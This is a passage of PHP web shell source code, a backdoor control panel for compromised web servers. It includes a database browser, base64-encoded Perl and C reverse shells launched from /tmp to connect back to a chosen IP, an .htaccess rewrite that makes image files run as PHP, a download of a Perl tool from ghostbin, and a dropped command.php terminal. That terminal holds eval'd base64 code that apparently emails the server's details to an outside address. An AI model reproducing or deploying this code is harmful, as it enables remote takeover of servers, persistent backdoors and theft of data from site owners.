1715 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1716 p($b1);
1717 p('</tr>');
1718 unset($b1);
1719 }
1720 tbfoot();
1721 p($multipage);
1722 break;
1723 case 2:
1724 $ar = mysql_affected_rows();
1725 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1726 break;
1727 }
1728 }
1729 }
1730 }
1731 } else {
1732 $query = q("SHOW TABLE STATUS");
1733 $table_num = $table_rows = $data_size = 0;
1734 $tabledb = array();
1735 while($table = mysql_fetch_array($query)) {
1736 $data_size = $data_size + $table['Data_length'];
1737 $table_rows = $table_rows + $table['Rows'];
1738 $table['Data_length'] = sizecount($table['Data_length']);
1739 $table_num++;
1740 $tabledb[] = $table;
1741 }
1742 $data_size = sizecount($data_size);
1743 unset($table);
1744 p('<table border="0" cellpadding="0" cellspacing="0">');
1745 p('<form action="'.$self.'" method="POST">');
1746 makehide('action','sqladmin');
1747 p($dbform);
1748 p('<tr class="head">');
1749 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1750 p('<td>Name</td>');
1751 p('<td>Rows</td>');
1752 p('<td>Data_length</td>');
1753 p('<td>Create_time</td>');
1754 p('<td>Update_time</td>');
1755 if ($highver) {
1756 p('<td>Engine</td>');
1757 p('<td>Collation</td>');
1758 }
1759 p('</tr>');
1760 foreach ($tabledb as $key => $table) {
1761 $thisbg = bg();
1762 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1763 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1764 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1765 p('<td>'.$table['Rows'].'</td>');
1766 p('<td>'.$table['Data_length'].'</td>');
1767 p('<td>'.$table['Create_time'].'</td>');
1768 p('<td>'.$table['Update_time'].'</td>');
1769 if ($highver) {
1770 p('<td>'.$table['Engine'].'</td>');
1771 p('<td>'.$table['Collation'].'</td>');
1772 }
1773 p('</tr>');
1774 }
1775 p('<tr class=fout>');
1776 p('<td> </td>');
1777 p('<td>Total tables: '.$table_num.'</td>');
1778 p('<td>'.$table_rows.'</td>');
1779 p('<td>'.$data_size.'</td>');
1780 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1781 p('</tr>');
1782
1783 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1784 makehide('doing','backupmysql');
1785 formfoot();
1786 p("</table>");
1787 fr($query);
1788 }
1789 }
1790 }
1791 tbfoot();
1792 @mysql_close();
1793}//end sql backup
1794
1795
1796elseif ($action == 'backconnect') {
1797 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1798 !$yourport && $yourport = '12345';
1799 $usedb = array('perl'=>'perl','c'=>'c');
1800
1801 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1802 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1803 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1804 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1805 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1806 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1807 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1808 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1809 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1810 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1811 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1812 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1813 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1814 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1815 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1816
1817 if ($start && $yourip && $yourport && $use){
1818 if ($use == 'perl') {
1819 cf('/tmp/angel_bc',$back_connect);
1820 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1821 } else {
1822 cf('/tmp/angel_bc.c',$back_connect_c);
1823 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1824 @unlink('/tmp/angel_bc.c');
1825 $res = execute("/tmp/angel_bc $yourip $yourport &");
1826 }
1827 m("Now script try connect to $yourip port $yourport ...");
1828 }
1829
1830 formhead(array('title'=>'Back Connect'));
1831 makehide('action','backconnect');
1832 p('<p>');
1833 p('Your IP:');
1834 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1835 p('Your Port:');
1836 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1837 p('Use:');
1838 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1839 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1840 p('</p>');
1841 formfoot();
1842}//end backconnect window via NC
1843
1844//CGI Shell
1845 elseif ($action == 'cgi') {
1846 mkdir('error', 0755);
1847 chdir('error');
1848 $kokdosya = ".htaccess";
1849 $dosya_adi = "$kokdosya";
1850 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1851 $metin = "Options +FollowSymLinks +Indexes
1852DirectoryIndex default.html
1853## START ##
1854Options +ExecCGI
1855AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1856AddType application/x-httpd-php .jpg
1857RewriteEngine on
1858RewriteRule (.*)\.war$ .log
1859## END ##";
1860 fwrite($dosya, $metin);
1861 fclose($dosya);
1862 $perltoolss = file_get_contents('https://ghostbin.com/paste/26353/raw');
1863 $file = fopen("error.log", "w+");
1864 $write = fwrite($file, base64_decode($perltoolss));
1865 fclose($file);
1866 chmod("error.log", 0755);
1867 echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
1868}//end CGI
1869
1870//NewCommand
1871elseif ($action == 'newcommand') {
1872 $file = fopen($dir . "command.php", "w+");
1873 $perltoolss = 'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTs